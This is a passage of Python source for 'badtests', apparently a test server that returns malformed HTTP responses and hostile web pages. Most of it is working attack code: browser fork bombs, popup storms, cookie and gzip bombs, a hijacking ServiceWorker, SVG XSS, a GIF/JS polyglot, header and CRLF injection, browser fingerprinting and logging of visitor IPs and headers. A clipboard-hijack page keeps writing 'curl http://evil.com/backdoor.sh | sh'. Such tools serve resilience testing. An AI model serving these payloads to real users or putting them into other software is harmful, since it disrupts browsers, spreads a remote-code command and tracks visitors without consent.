<h1>☠ badtests <span>— malicious HTTP response server</span></h1>
<p class="desc">Each endpoint returns a deliberately malformed HTTP response to test client resilience.<br>
Click any endpoint to hit it directly.</p>
<div class="special">📋 <a href="/logs">/logs</a> — View all visitor IPs, user agents, headers, and timestamps</div>
'''
for cat_name, prefix in CATEGORIES:
tests_in_cat = [t for t in TESTS if t[0].startswith(prefix)]
if not tests_in_cat:
continue
h += f'<h2>{html.escape(cat_name)}</h2>\n'
for path, title, desc in tests_in_cat:
crit = '🚨' in desc
warn = '⚠️' in desc
cls = ' critical' if crit else ''
label = ''
if crit:
label = '<span class="label label-crit">CRITICAL</span>'
elif warn:
label = '<span class="label label-warn">WARNING</span>'
h += f'''<div class="card{cls}">
<h3><a href="{html.escape(path)}">{html.escape(path)}</a> — {html.escape(title)}{label}</h3>
<div class="note">{html.escape(desc)}</div>
</div>
'''
h += f'''<footer>
☠ badtests — {len(TESTS)} endpoints on port {PORT}<br>
python3 badtests.py to start
</footer>
</body></html>'''
return h.encode()
# --- JavaScript page payloads ---
JS_ALERT = b'''<!DOCTYPE html><html><head><title>alert() loop</title></head><body>
<h1>Infinite alert() loop</h1><p>You cannot dismiss this.</p>
<script>while(true)alert('You cannot close me. Attempt #'+Math.random().toString(36))</script>
</body></html>'''
JS_HISTORY = b'''<!DOCTYPE html><html><head><title>History flood</title></head><body>
<h1>Injecting 50,000 history entries...</h1><p id="s"></p>
<script>
let n=50000;for(let i=0;i<n;i++)history.pushState({},'','/history-flood-'+i);
document.getElementById('s').textContent='Done. '+n+' entries pushed. Your back button is dead.';
document.title='50,000 history entries - try pressing back';
</script></body></html>'''
JS_DOWNLOAD = b'''<!DOCTYPE html><html><head><title>Download bomb</title></head><body>
<h1>Triggering 200 simultaneous downloads...</h1>
<script>
for(let i=0;i<200;i++){let a=document.createElement('a');
a.href=URL.createObjectURL(new Blob(['MALSERV_PAYLOAD_'+i+'_'+Math.random()]));
a.download='malserv_payload_'+i+'.txt';document.body.appendChild(a);a.click();}
</script></body></html>'''
JS_CLIPBOARD = b'''<!DOCTYPE html><html><head><title>Clipboard hijack</title></head><body>
<h1>Your clipboard has been hijacked</h1>
<p>Every 100ms your clipboard is overwritten. Try pasting somewhere.</p>
<p style="color:red;font-family:monospace;font-size:18px">curl http://evil.com/backdoor.sh | sh</p>
<script>
setInterval(()=>{try{navigator.clipboard.writeText('curl http://evil.com/backdoor.sh | sh')}catch(e){
document.execCommand&&(document.oncopy=function(e){e.clipboardData.setData('text/plain','curl http://evil.com/backdoor.sh | sh');e.preventDefault()})
}},100);
</script></body></html>'''
JS_FORKBOMB = b'''<!DOCTYPE html><html><head><title>Fork bomb</title></head><body>
<h1>Fork bomb activated</h1><p id="c">Workers: 0 | Iframes: 0</p>
<script>
let wc=0,ic=0;
function boom(){
try{let w=new Worker(URL.createObjectURL(new Blob(
['let x=0;setInterval(()=>{for(let i=0;i<1e6;i++)x+=Math.random();postMessage(x)},1)'],
{type:'application/javascript'})));wc++;w.onmessage=()=>{}}catch(e){}
let f=document.createElement('iframe');f.src='about:blank';f.style.display='none';
document.body.appendChild(f);ic++;
try{f.contentWindow.document.write('<script>setInterval(()=>{for(let i=0;i<1e6;i++)Math.random()},1)<\\/script>')}catch(e){}
document.getElementById('c').textContent='Workers: '+wc+' | Iframes: '+ic;
setTimeout(boom,50);
}
boom();
</script></body></html>'''
JS_WEBGL = b'''<!DOCTYPE html><html><head><title>WebGL GPU killer</title></head><body>
<h1>WebGL GPU stress test</h1>
<canvas id="c" width="1920" height="1080" style="width:100%;height:80vh"></canvas>
<script>
let gl=document.getElementById('c').getContext('webgl');
if(!gl){document.body.innerHTML='<h1>WebGL not supported</h1>';}else{
let vs=gl.createShader(gl.VERTEX_SHADER);
gl.shaderSource(vs,'attribute vec4 p;void main(){gl_Position=p;}');
gl.compileShader(vs);
let fs=gl.createShader(gl.FRAGMENT_SHADER);
gl.shaderSource(fs,`precision highp float;
uniform float t;
void main(){
float x=gl_FragCoord.x/1920.0,y=gl_FragCoord.y/1080.0,v=0.0;
for(int i=0;i<5000;i++){
v+=sin(x*float(i)*0.01+t)*cos(y*float(i)*0.01+t*0.7);
v+=tan(v*0.001)*0.001;
}
gl_FragColor=vec4(sin(v),cos(v*0.5),sin(v*0.3+t),1.0);
}`);
gl.compileShader(fs);
let prog=gl.createProgram();gl.attachShader(prog,vs);gl.attachShader(prog,fs);gl.linkProgram(prog);gl.useProgram(prog);
let buf=gl.createBuffer();gl.bindBuffer(gl.ARRAY_BUFFER,buf);
gl.bufferData(gl.ARRAY_BUFFER,new Float32Array([-1,-1,1,-1,-1,1,1,1]),gl.STATIC_DRAW);
let p=gl.getAttribLocation(prog,'p');gl.enableVertexAttribArray(p);gl.vertexAttribPointer(p,2,gl.FLOAT,false,0,0);
let tl=gl.getUniformLocation(prog,'t');
let start=Date.now();
function render(){gl.uniform1f(tl,(Date.now()-start)/1000);gl.drawArrays(gl.TRIANGLE_STRIP,0,4);requestAnimationFrame(render);}
render();
}
</script></body></html>'''
JS_AUDIO = b'''<!DOCTYPE html><html><head><title>Audio hell</title></head><body>
<h1>Audio Oscillator Hell</h1><p>20 oscillators at random frequencies. Click anywhere to start (autoplay policy).</p>
<script>
document.addEventListener('click',function start(){
document.removeEventListener('click',start);
let ctx=new(window.AudioContext||window.webkitAudioContext)();
for(let i=0;i<20;i++){
let o=ctx.createOscillator(),g=ctx.createGain();
o.type=['sine','square','sawtooth','triangle'][i%4];
o.frequency.value=100+Math.random()*15000;
g.gain.value=0.15;
o.connect(g);g.connect(ctx.destination);o.start();
setInterval(()=>{o.frequency.value=100+Math.random()*15000;},50+Math.random()*200);
}
document.querySelector('h1').textContent='AUDIO HELL ACTIVE - 20 OSCILLATORS';
document.querySelector('h1').style.color='red';
});
</script></body></html>'''
JS_POPUP = b'''<!DOCTYPE html><html><head><title>Popup storm</title></head><body>
<h1>Popup Storm</h1><p id="s">Attempting to open 100 popup windows...</p>
<script>
let opened=0,blocked=0;
for(let i=0;i<100;i++){
let w=window.open('about:blank','popup_'+i,'width=150,height=100,left='+Math.floor(Math.random()*screen.width)+',top='+Math.floor(Math.random()*screen.height));
if(w){opened++;try{w.document.write('<body style=background:hsl('+i*3.6+',100%,50%)><h3>'+i+'</h3>')}catch(e){}}else{blocked++;}
}
document.getElementById('s').textContent='Opened: '+opened+' | Blocked: '+blocked;
</script></body></html>'''
JS_COOKIE = b'''<!DOCTYPE html><html><head><title>Cookie bomb</title></head><body>
<h1>Cookie Bomb</h1><p id="s">Setting cookies...</p>
<script>
let n=0;
for(let i=0;i<3000;i++){
try{document.cookie='bomb_'+i+'='+'X'.repeat(4000)+';path=/';n++;}catch(e){break;}
}
document.getElementById('s').innerHTML='<strong style=color:red>'+n+' cookies set!</strong><br>'+
'Your next request to this server will include ~'+Math.round(n*4/1024)+'KB of Cookie headers.<br>'+
'To clear: open DevTools > Application > Cookies > Delete all';
</script></body></html>'''
JS_BEFOREUNLOAD = b'''<!DOCTYPE html><html><head><title>You can never leave</title></head><body>
<h1 style="color:red">You can never leave this page</h1>
<p>Every attempt to close or navigate away triggers a confirmation dialog.</p>
<p>Also opening copies of itself in new tabs every 3 seconds.</p>
<script>
window.onbeforeunload=function(e){e.preventDefault();return e.returnValue='Are you sure you want to leave?';};
setInterval(()=>{document.title='TRAPPED - '+new Date().toLocaleTimeString();},1000);
let tabCount=0;
setInterval(()=>{if(tabCount<5){try{window.open(location.href);tabCount++;}catch(e){}}},3000);
</script></body></html>'''
JS_SERVICEWORKER = '''<!DOCTYPE html><html><head><title>ServiceWorker hijack</title></head><body>
<h1>ServiceWorker Registration</h1><p id="s">Attempting to register ServiceWorker...</p>
<script>
if('serviceWorker' in navigator){
navigator.serviceWorker.register('/sw.js').then(r=>{
document.getElementById('s').innerHTML='<span style=color:red>ServiceWorker registered! Scope: '+r.scope+'</span><br>All future fetches to this origin will be intercepted.';
}).catch(e=>{document.getElementById('s').textContent='Failed: '+e.message;});
}else{document.getElementById('s').textContent='ServiceWorker not supported';}
</script></body></html>'''.encode()
SW_JS = b'''// Malicious ServiceWorker - intercepts all fetches
self.addEventListener('install', e => self.skipWaiting());
self.addEventListener('activate', e => e.waitUntil(clients.claim()));
self.addEventListener('fetch', e => {
if(e.request.url.includes('/sw.js')) return;
e.respondWith(
fetch(e.request).then(r => {
if(r.headers.get('content-type')?.includes('text/html')){
return r.text().then(body =>
new Response(body + '<div style="position:fixed;bottom:0;left:0;right:0;background:red;color:white;padding:8px;text-align:center;z-index:999999;font-family:monospace">INTERCEPTED BY MALICIOUS SERVICEWORKER</div>', {headers:r.headers})
);
}
return r;
}).catch(() => new Response('ServiceWorker intercepted and blocked this request', {status:200}))
);
});'''
FINGERPRINT_HTML = b'''<!DOCTYPE html><html><head><meta charset="utf-8">
<title>Browser Fingerprint</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#0d1117;color:#c9d1d9;font-family:monospace;padding:20px 40px;font-size:14px}
h1{color:#f85149;margin-bottom:20px}
table{border-collapse:collapse;width:100%}
td{padding:6px 12px;border-bottom:1px solid #21262d}
td:first-child{color:#58a6ff;width:250px;font-weight:bold}
td:last-child{color:#7ee787;word-break:break-all}
canvas{display:none}
</style></head><body>
<h1>Browser Fingerprint</h1>
<table id="t"></table>
<canvas id="cv" width="200" height="50"></canvas>
<script>
let t=document.getElementById('t');
function add(k,v){let r=t.insertRow();r.insertCell().textContent=k;r.insertCell().textContent=String(v);}
add('User Agent',navigator.userAgent);
add('Platform',navigator.platform);
add('Language',navigator.language);
add('Languages',navigator.languages?.join(', '));
add('Timezone',Intl.DateTimeFormat().resolvedOptions().timeZone);
add('Timezone Offset',new Date().getTimezoneOffset()+' min');
add('Screen',screen.width+'x'+screen.height+' @'+devicePixelRatio+'x');
add('Available Screen',screen.availWidth+'x'+screen.availHeight);
add('Color Depth',screen.colorDepth+' bit');
add('CPU Cores',navigator.hardwareConcurrency);
add('Memory (GB)',navigator.deviceMemory||'N/A');
add('Max Touch Points',navigator.maxTouchPoints);
add('Cookies Enabled',navigator.cookieEnabled);
add('Do Not Track',navigator.doNotTrack);
add('Online',navigator.onLine);
add('PDF Viewer',navigator.pdfViewerEnabled);
add('Webdriver',navigator.webdriver);
add('Connection Type',navigator.connection?.effectiveType||'N/A');
add('Downlink',navigator.connection?.downlink||'N/A');
try{let cv=document.getElementById('cv'),cx=cv.getContext('2d');
cx.textBaseline='top';cx.font='14px Arial';cx.fillStyle='#f60';cx.fillRect(0,0,200,50);
cx.fillStyle='#069';cx.fillText('Browser fingerprint!',2,15);
cx.fillStyle='rgba(102,204,0,0.7)';cx.fillText('Canvas test',4,30);
add('Canvas Hash',cv.toDataURL().slice(0,80)+'...');}catch(e){add('Canvas','Error: '+e);}
try{let c=document.createElement('canvas'),g=c.getContext('webgl')||c.getContext('experimental-webgl');
if(g){add('WebGL Vendor',g.getParameter(g.VENDOR));
add('WebGL Renderer',g.getParameter(g.RENDERER));
let d=g.getExtension('WEBGL_debug_renderer_info');
if(d){add('GPU Vendor',g.getParameter(d.UNMASKED_VENDOR_WEBGL));
add('GPU Renderer',g.getParameter(d.UNMASKED_RENDERER_WEBGL));}
add('WebGL Version',g.getParameter(g.VERSION));
add('Shading Language',g.getParameter(g.SHADING_LANGUAGE_VERSION));
add('Max Texture Size',g.getParameter(g.MAX_TEXTURE_SIZE));
}}catch(e){add('WebGL','Error: '+e);}
try{let actx=new(window.AudioContext||window.webkitAudioContext)();
add('Audio Sample Rate',actx.sampleRate);
add('Audio State',actx.state);actx.close();}catch(e){add('Audio','Error: '+e);}
add('Local Storage',typeof localStorage!=='undefined');
add('Session Storage',typeof sessionStorage!=='undefined');
add('IndexedDB',typeof indexedDB!=='undefined');
add('ServiceWorker','serviceWorker' in navigator);
add('WebRTC',typeof RTCPeerConnection!=='undefined');
let plugins=[];for(let i=0;i<navigator.plugins.length;i++)plugins.push(navigator.plugins[i].name);
add('Plugins',plugins.join(', ')||'None');
add('MIME Types',navigator.mimeTypes.length);
</script></body></html>'''
LOGS_STYLE = '''<!DOCTYPE html><html><head><meta charset="utf-8">
<title>☠ badtests — visitor logs</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#0d1117;color:#c9d1d9;font-family:monospace;font-size:13px;padding:20px 40px}
h1{color:#f85149;margin-bottom:4px}
.sub{color:#484f58;margin-bottom:20px;font-size:12px}
table{border-collapse:collapse;width:100%}
th{text-align:left;color:#58a6ff;padding:8px;border-bottom:2px solid #30363d;position:sticky;top:0;background:#0d1117}
td{padding:6px 8px;border-bottom:1px solid #161b22;max-width:400px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
tr:hover td{background:#161b22}
.ip{color:#7ee787}.path{color:#d2a8ff}.method{color:#d29922}.time{color:#484f58}
details{cursor:pointer}
details pre{background:#161b22;padding:8px;margin-top:4px;border-radius:4px;white-space:pre-wrap;max-height:200px;overflow:auto}
</style></head><body>
<h1>☠ visitor logs</h1>
<p class="sub">Recording all requests. %d entries so far. <a href="/logs" style="color:#58a6ff">Refresh</a> | <a href="/" style="color:#58a6ff">Home</a></p>
<table><tr><th>Time</th><th>IP</th><th>Method</th><th>Path</th><th>User-Agent</th><th>Headers</th></tr>
%s
</table></body></html>'''
# --- MIME sniff test page (wraps the payload endpoint) ---
MIME_SNIFF_PAGE = b'''<!DOCTYPE html><html><head><title>MIME Sniff Test</title></head><body>
<h1>MIME Sniffing Test</h1>
<p>This page includes a &lt;script&gt; tag pointing to <code>/net-mime-sniff?payload=1</code>,
which serves JavaScript with <code>Content-Type: image/jpeg</code>.</p>
<p>If your browser MIME-sniffs, the JS will execute and you'll see an alert.</p>
<p id="result" style="font-size:24px;color:red"></p>
<script src="/net-mime-sniff?payload=1"></script>
</body></html>'''
class Handler(http.server.BaseHTTPRequestHandler):
_index = build_index()
_routes = {t[0]: t for t in TESTS}
def do_GET(self):
p = self.path.split('?')[0]
self._log_visit()
if p == '/':
self._r(200, {'Content-Type': 'text/html; charset=utf-8'}, self._index)
elif p == '/logs':
self._serve_logs()
elif p == '/sw.js':
self._r(200, {'Content-Type': 'application/javascript', 'Service-Worker-Allowed': '/'}, SW_JS)
elif p == '/img-bait-view':
self._r(200, {'Content-Type': 'image/svg+xml'}, SAFE_SVG)
elif p == '/img-bait-download':
self._r(200, {'Content-Type': 'image/svg+xml', 'Content-Disposition': 'attachment; filename="totally_safe.svg"'}, EVIL_SVG)
elif p in self._routes:
self._dispatch(p)
else:
self._r(404, {'Content-Type': 'text/plain'}, b'not found')
do_POST = do_HEAD = do_PUT = do_DELETE = do_GET
def _log_visit(self):
headers = {}
for k in self.headers:
headers[k] = self.headers[k]
entry = {
'time': time.strftime('%Y-%m-%d %H:%M:%S'),
'ip': self.client_address[0],
'method': self.command,
'path': self.path,
'ua': self.headers.get('User-Agent', ''),
'headers': headers,
}
with LOG_LOCK:
VISITOR_LOG.append(entry)
def _serve_logs(self):
with LOG_LOCK:
entries = list(reversed(VISITOR_LOG))
rows = ''
for e in entries[:500]:
hdrs_str = '\n'.join(f'{k}: {v}' for k, v in e['headers'].items())
rows += f'''<tr>
<td class="time">{html.escape(e['time'])}</td>
<td class="ip">{html.escape(e['ip'])}</td>
<td class="method">{html.escape(e['method'])}</td>
<td class="path">{html.escape(e['path'])}</td>
<td>{html.escape(e['ua'][:80])}</td>
<td><details><summary>{len(e['headers'])} headers</summary><pre>{html.escape(hdrs_str)}</pre></details></td>
</tr>'''
page = (LOGS_STYLE % (len(VISITOR_LOG), rows)).encode()
self._r(200, {'Content-Type': 'text/html; charset=utf-8'}, page)
def _dispatch(self, path):
try:
self._dispatch_inner(path)
except Exception as e:
try:
self.wfile.write(b'HTTP/1.1 500 Internal Server Error\r\nContent-Length: 3\r\n\r\nerr')
self.wfile.flush()
except:
pass
def _dispatch_inner(self, path):
p = path
# --- Content-Length abuses ---
if p == '/cl-word': self._r(200, {'Content-Length': 'banana'}, b'hello')
elif p == '/cl-empty': self._r(200, {'Content-Length': ''}, b'hello')
elif p == '/cl-negative': self._r(200, {'Content-Length': '-99999999999999999'}, b'hello')
elif p == '/cl-huge': self._r(200, {'Content-Length': '99999999999999999'}, b'tiny')
elif p == '/cl-zero': self._r(200, {'Content-Length': '0'}, b'surprise!')
elif p == '/cl-float': self._r(200, {'Content-Length': '3.14159'}, b'hello')
elif p == '/cl-hex': self._r(200, {'Content-Length': '0xDEAD'}, b'hello')
elif p == '/cl-null': self._r(200, {'Content-Length': '5\x00'}, b'hello')
elif p == '/cl-negative-one': self._r(200, {'Content-Length': '-1'}, b'hello')
elif p == '/cl-nan': self._r(200, {'Content-Length': 'NaN'}, b'hello')
elif p == '/cl-inf': self._r(200, {'Content-Length': 'Infinity'}, b'hello')
elif p == '/cl-mismatch': self._r(200, {'Content-Length': '1'}, b'this is way more than one byte')
# --- Content-Type abuses ---
elif p == '/ct-garbage': self._r(200, {'Content-Type': ''.join(random.choices(string.printable, k=200))}, b'hello')
elif p == '/ct-multi': self._r(200, {'Content-Type': 'text/html, application/json, image/png, text/xml, application/octet-stream'}, b'what am i?')
elif p == '/ct-empty': self._r(200, {'Content-Type': ''}, b'hello')
elif p == '/ct-null': self._r(200, {'Content-Type': 'text/\x00html'}, b'hello')
elif p == '/ct-emoji': self._raw('HTTP/1.1 200 OK\r\nContent-Type: 💀/🔥\r\nContent-Length: 5\r\n\r\nhello'.encode())
elif p == '/ct-mega': self._r(200, {'Content-Type': 'text/' + 'A'*10000}, b'hello')
elif p == '/ct-crlf': self._r(200, {'Content-Type': 'text/html\r\nX-Injected: true'}, b'hello')
elif p == '/ct-semicolon':self._r(200, {'Content-Type': 'text/html' + ';charset=utf-8'*50}, b'hello')
# --- Status code abuses ---
elif p == '/status-neg': self._raw(b'HTTP/1.1 -1 BROKEN\r\nContent-Length: 5\r\n\r\nhello')
elif p == '/status-zero': self._raw(b'HTTP/1.1 0 NOTHING\r\nContent-Length: 5\r\n\r\nhello')
elif p == '/status-999': self._r(999, {}, b'hello')
elif p == '/status-huge': self._raw(b'HTTP/1.1 99999 WAY TOO BIG\r\nContent-Length: 5\r\n\r\nhello')
elif p == '/status-word': self._raw(b'HTTP/1.1 BANANA OK\r\nContent-Length: 5\r\n\r\nhello')
# --- Header abuses ---
elif p == '/hdr-mega-name': self._r(200, {'X-'+'A'*65536: 'val'}, b'hello')
elif p == '/hdr-mega-val': self._r(200, {'X-Big': 'B'*1048576}, b'hello')
elif p == '/hdr-1000': self._r(200, {f'X-H{i}': str(i) for i in range(1000)}, b'hello')
elif p == '/hdr-empty-name': self._raw(b'HTTP/1.1 200 OK\r\n: empty_name\r\nContent-Length: 5\r\n\r\nhello')
elif p == '/hdr-no-colon': self._raw(b'HTTP/1.1 200 OK\r\nBrokenHeaderNoColon\r\nContent-Length: 5\r\n\r\nhello')
elif p == '/hdr-dup-cl': self._raw(b'HTTP/1.1 200 OK\r\nContent-Length: 5\r\nContent-Length: 999\r\n\r\nhello')
elif p == '/hdr-null': self._raw(b'HTTP/1.1 200 OK\r\nX-\x00Evil: \x00val\x00ue\r\nContent-Length: 5\r\n\r\nhello')
elif p == '/hdr-newline': self._raw(b'HTTP/1.1 200 OK\r\nX-Bad: line1\nline2\r\nContent-Length: 5\r\n\r\nhello')
# --- Body abuses ---
elif p == '/body-endless': self._endless()
elif p == '/body-none': self._raw(b'HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\n')
elif p == '/body-binary': self._r(200, {'Content-Type': 'text/html'}, bytes(random.getrandbits(8) for _ in range(4096)))
# --- Transfer-Encoding abuses ---
elif p == '/te-invalid': self._r(200, {'Transfer-Encoding': 'banana'}, b'hello')
elif p == '/te-double': self._raw(b'HTTP/1.1 200 OK\r\nContent-Length: 5\r\nTransfer-Encoding: chunked\r\n\r\n5\r\nhello\r\n0\r\n\r\n')
elif p == '/te-bad-chunk': self._raw(b'HTTP/1.1 200 OK\r\nTransfer-Encoding: chunked\r\n\r\nZZZ\r\nhello\r\n0\r\n\r\n')
# --- Protocol abuses ---
elif p == '/proto-garbage': self._raw(bytes(random.getrandbits(8) for _ in range(512)))
elif p == '/proto-empty': self._raw(b'')
elif p == '/proto-half': self._raw(b'HTTP/9.9 200 OK\r\nContent-Length: 5\r\n\r\nhello')
elif p == '/proto-no-headers': self._raw(b'HTTP/1.1 200 OK\r\n\r\nhello')
elif p == '/proto-just-newlines': self._raw(b'\r\n\r\n\r\n\r\n\r\n')
# --- Encoding abuses ---
elif p == '/enc-utf16': self._r(200, {'Content-Type': 'text/html; charset=utf-8'}, 'こんにちは'.encode('utf-16'))
elif p == '/enc-gzip-lie': self._r(200, {'Content-Encoding': 'gzip'}, b'this is definitely not gzipped')
# --- Redirect abuses ---
elif p == '/redir-self': self._r(301, {'Location': '/redir-self'}, b'')
elif p == '/redir-garbage': self._raw(b'HTTP/1.1 301 Moved\r\nLocation: \x00\xff://\xf0\x9f\x92\x80:99999/../../etc/passwd\r\nContent-Length: 0\r\n\r\n')
elif p == '/redir-chain':
n = 0
if '?' in self.path:
try: n = int(self.path.split('n=')[1].split('&')[0])
except: pass
self._r(302, {'Location': f'/redir-chain?n={n+1}'}, f'Hop {n}'.encode())
# --- Timing abuses ---
elif p == '/slow-headers': self._slow(b'HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello', 0.5)
elif p == '/slow-body': self._slow_body()
# --- HTML/Content abuses ---
elif p == '/html-utf16':
page = '<html><head><title>UTF-16LE Encoded Page</title></head><body><h1>This entire page is UTF-16LE</h1><p>But the server never declared a charset. Good luck decoding!</p></body></html>'
self._r(200, {'Content-Type': 'text/html'}, page.encode('utf-16-le'))
elif p == '/html-long-title':
t = 'A' * 1000
self._r(200, {'Content-Type': 'text/html'}, f'<html><head><title>{t}</title></head><body><h1>{t}</h1></body></html>'.encode())
elif p == '/html-multiline-title':
self._r(200, {'Content-Type': 'text/html'}, b'<html><head><title>Line 1\nLine 2\nLine 3\nLine 4\nLine 5</title></head><body><h1>Check your tab title</h1></body></html>')
elif p == '/html-irc-title':
self._r(200, {'Content-Type': 'text/html'}, b'<html><head><title>Normal Title\r\nQUIT :Hacked by malserv\r\nPRIVMSG #channel :pwned</title></head><body><h1>IRC Injection via HTML title</h1></body></html>')
elif p == '/html-unicode':
chars = ''.join(chr(random.randint(0x1000, 0x3000)) for _ in range(500))
self._r(200, {'Content-Type': 'text/html; charset=utf-8'}, f'<html><head><title>{chars}</title></head><body><h1>{chars}</h1></body></html>'.encode())
elif p == '/html-meta-refresh':
self._r(200, {'Content-Type': 'text/html'}, b'<!DOCTYPE html><html><head><meta http-equiv="refresh" content="0"><title>RELOADING FOREVER</title></head><body><h1>This page reloads every 0 seconds</h1><p>Your browser tab is now stuck in an infinite reload loop.</p></body></html>')
# --- Terminal abuses ---
elif p == '/ansi-chaos':
a = '\033[2J\033[H'
a += '\033]0;HACKED BY MALSERV\007'
a += '\033[?25l'
for i in range(80):
row = random.randint(1, 50)
col = random.randint(1, 120)
fg = random.randint(31, 37)
style = random.choice(['1', '3', '4', '5', '7'])
char = random.choice('☠💀🔥👾🐛⚡🎭🃏♠♣♥♦█▓▒░╔╗╚╝║═')
a += f'\033[{row};{col}H\033[{style};{fg}m{char}\033[0m'
a += '\033[10;20H\033[1;5;31m░▒▓█ YOUR TERMINAL IS MINE NOW █▓▒░\033[0m'
a += '\033[12;20H\033[1;5;35m░▒▓█ RESISTANCE IS FUTILE █▓▒░\033[0m'
a += '\033[14;20H\033[1;5;32m░▒▓█ CURLING WAS A MISTAKE █▓▒░\033[0m'
a += '\033[16;20H\033[1;33m'
for i in range(10):
a += f'\033[{16+i};10H'
a += ''.join(f'\033[{random.randint(31,37)}m{chr(random.randint(0x2580,0x259F))}' for _ in range(60))
a += '\033[0m'
a += '\033[28;1H\033[?5h' # reverse video (flash screen)
a += '\033[28;1H\033[?5l' # normal video
a += f'\033[?25h\033[50;1H'
self._r(200, {'Content-Type': 'text/plain'}, a.encode())
# --- JavaScript browser abuses ---
elif p == '/js-alert': self._r(200, {'Content-Type': 'text/html'}, JS_ALERT)
elif p == '/js-history': self._r(200, {'Content-Type': 'text/html'}, JS_HISTORY)
elif p == '/js-download': self._r(200, {'Content-Type': 'text/html'}, JS_DOWNLOAD)
elif p == '/js-clipboard': self._r(200, {'Content-Type': 'text/html'}, JS_CLIPBOARD)
elif p == '/js-forkbomb': self._r(200, {'Content-Type': 'text/html'}, JS_FORKBOMB)
elif p == '/js-webgl': self._r(200, {'Content-Type': 'text/html'}, JS_WEBGL)
elif p == '/js-audio': self._r(200, {'Content-Type': 'text/html'}, JS_AUDIO)
elif p == '/js-popup': self._r(200, {'Content-Type': 'text/html'}, JS_POPUP)
elif p == '/js-cookie': self._r(200, {'Content-Type': 'text/html'}, JS_COOKIE)
elif p == '/js-beforeunload': self._r(200, {'Content-Type': 'text/html'}, JS_BEFOREUNLOAD)
elif p == '/js-serviceworker':self._r(200, {'Content-Type': 'text/html'}, JS_SERVICEWORKER)
# --- Image/File abuses ---
elif p == '/img-bait':
self._r(200, {'Content-Type': 'text/html'}, b'''<!DOCTYPE html><html><head><title>Image bait-and-switch</title></head><body style="background:#0d1117;color:#c9d1d9;font-family:monospace;padding:40px">
<h1>Image Bait-and-Switch</h1>
<p>The image below shows "SAFE" in green. But the download link gives you a DIFFERENT image.</p>
<br><img src="/img-bait-view" style="border:2px solid #30363d;border-radius:8px">
<br><br><a href="/img-bait-download" download="totally_safe.svg" style="color:#58a6ff;font-size:18px">Download this image</a>
<p style="color:#484f58;margin-top:20px">Hint: the downloaded file says something different...</p>
</body></html>''')
elif p == '/img-svg-xss':
svg = b'''<svg xmlns="http://www.w3.org/2000/svg" width="400" height="200">
<rect width="400" height="200" fill="#1a1a2e" rx="8"/>
<text x="200" y="80" fill="#e6edf3" font-size="20" font-family="monospace" text-anchor="middle">I look like an innocent image...</text>
<text x="200" y="130" fill="#f85149" font-size="16" font-family="monospace" text-anchor="middle">but I contain JavaScript</text>
<script type="text/javascript">
alert('XSS executed from SVG image!');
document.querySelector('text:last-of-type').textContent = 'JS EXECUTED SUCCESSFULLY';
</script>
</svg>'''
self._r(200, {'Content-Type': 'image/svg+xml'}, svg)
elif p == '/img-polyglot':
# GIF89a header that's also parseable as JS when loaded via <script>
# GIF89a= is valid JS (assigns undefined to GIF89a), then we add our payload
polyglot = b'GIF89a/*\x00\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;*/=0;document.write("<h1 style=color:red>GIF/JS POLYGLOT EXECUTED</h1><p>This file is simultaneously a valid GIF image and valid JavaScript.</p>");'
self._r(200, {'Content-Type': 'image/gif'}, polyglot)
# --- Network abuses ---
elif p == '/net-gzip-bomb':
self._r(200, {'Content-Type': 'application/octet-stream', 'Content-Encoding': 'gzip', 'Content-Length': str(len(GZIP_BOMB))}, GZIP_BOMB)
elif p == '/net-event-flood':
self._event_flood()
elif p == '/net-mime-sniff':
if '?payload=1' in self.path:
self._r(200, {'Content-Type': 'image/jpeg'}, b'document.getElementById("result").textContent="MIME SNIFFING BYPASSED! JS executed despite image/jpeg Content-Type";alert("MIME sniffing attack succeeded! JS ran despite Content-Type: image/jpeg")')
else:
self._r(200, {'Content-Type': 'text/html'}, MIME_SNIFF_PAGE)
elif p == '/net-cache-poison':
self._r(200, {
'Content-Type': 'text/html',
'Cache-Control': 'no-cache, max-age=999999, must-revalidate, public, private, no-store, immutable',
'Expires': 'Thu, 01 Jan 1970 00:00:00 GMT',
'Pragma': 'no-cache',
'Last-Modified': 'Sun, 01 Jan 2090 00:00:00 GMT',
'ETag': '"*"',
'Vary': '*',
'Age': '999999999',
}, b'<html><body><h1>Which cache directive wins?</h1><p>Every cache header contradicts every other. Good luck, proxy.</p><p>no-cache + max-age=999999 + must-revalidate + public + private + no-store + immutable</p><p>Expires in the past, Last-Modified in the future, Age is 31 years, Vary is wildcard, ETag is *</p></body></html>')
elif p == '/net-hsts-bomb':
self._r(200, {
'Content-Type': 'text/html',
'Strict-Transport-Security': 'max-age=999999999; includeSubDomains; preload',
}, b'<html><body><h1>HSTS Bomb</h1><p>Your browser now thinks this site requires HTTPS for 31 years.</p><p>This header also applies to ALL subdomains and requests preload list inclusion.</p><p>To undo in Chrome: chrome://net-internals/#hsts</p></body></html>')
# --- Misc ---
elif p == '/misc-ipv4':
ip = self.client_address[0]
body = f'<html><head><title>Your IP: {ip}</title></head><body style="background:#0d1117;color:#c9d1d9;font-family:monospace;padding:40px"><h1 style="color:#7ee787">{ip}</h1></body></html>'
self._r(200, {'Content-Type': 'text/html'}, body.encode())
elif p == '/misc-ipv6':
ip = self.client_address[0]
body = f'<html><head><title>Your IP: {ip}</title></head><body style="background:#0d1117;color:#c9d1d9;font-family:monospace;padding:40px"><h1 style="color:#7ee787">{ip}</h1><p>For true IPv6, connect to [::1]:{PORT}</p></body></html>'
self._r(200, {'Content-Type': 'text/html'}, body.encode())
elif p == '/fingerprint':
self._r(200, {'Content-Type': 'text/html; charset=utf-8'}, FINGERPRINT_HTML)
def _r(self, code, headers, body):
self.send_response(code)
for k, v in headers.items():
self.send_header(k, v)
self.end_headers()
self.wfile.write(body)
def _raw(self, data):
self.wfile.write(data)
self.wfile.flush()
def _endless(self):
self.send_response(200)
self.send_header('Content-Type', 'application/octet-stream')
self.end_headers()
try:
while True:
self.wfile.write(b'A' * 1024)
self.wfile.flush()
time.sleep(1)
except:
pass
def _slow(self, data, delay):
try:
for b in data:
self.wfile.write(bytes([b]))
self.wfile.flush()
time.sleep(delay)
except:
pass
def _slow_body(self):
self.send_response(200)
